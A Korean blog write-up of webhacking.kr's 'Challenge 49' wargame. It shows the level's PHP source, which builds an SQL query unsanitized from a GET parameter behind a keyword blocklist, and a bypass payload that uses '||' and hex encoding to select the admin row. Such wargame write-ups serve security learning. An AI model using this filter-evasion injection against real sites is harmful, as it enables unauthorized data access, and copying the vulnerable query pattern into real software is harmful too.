늘모자란, 개발 :: [webhacking.kr] Challenge 49

늘모자란, 개발



똑같이 생겼다..

<html>
<head>
<title>Challenge 49</title>
</head>
<body>
<h1>SQL INJECTION</h1>
<form method=get action=index.php>
level : <input name=lv value=1><input type=submit>
</form>
<?
if(time()<1258110000) exit();

if($_GET[lv])
{
if(eregi("union",$_GET[lv])) exit();
if(eregi("from",$_GET[lv])) exit();
if(eregi("select",$_GET[lv])) exit();
if(eregi("or",$_GET[lv])) exit();
if(eregi("and",$_GET[lv])) exit();
if(eregi("\(",$_GET[lv])) exit();
if(eregi("\)",$_GET[lv])) exit();
if(eregi("limit",$_GET[lv])) exit();
if(eregi(",",$_GET[lv])) exit();
if(eregi("/",$_GET[lv])) exit();
if(eregi("by",$_GET[lv])) exit();
if(eregi("desc",$_GET[lv])) exit();
if(eregi("asc",$_GET[lv])) exit();
if(eregi("cash",$_GET[lv])) exit();
if(eregi(" ",$_GET[lv])) exit();
if(eregi("%09",$_GET[lv])) exit();

$q=@mysql_fetch_array(mysql_query("select id from members where lv=$_GET[lv]"));

echo($q[0]);
if($q[0]=="admin") @solve();

}
?>
<!-- index.phps -->
</body>
</html>

필터링이 더 하드코어 해졌다. 이제 괄호도 못쓰게 됐다. 다만, 전에 있었던 0x 라는 필터가 사라졌다.
여전히 or은 있지만, || 를 필터하고 있진 않은것 같다. 대강 사이즈가 나오니 해보자.
저번엔 CHAR를 이용해 우회했는데 이번엔 문자열 전부를 hex-encode해보자. 원리는 완전히 같다.

2||id=0x61646d696e


가볍게 패스.



2016/04/02 14:44 2016/04/02 14:44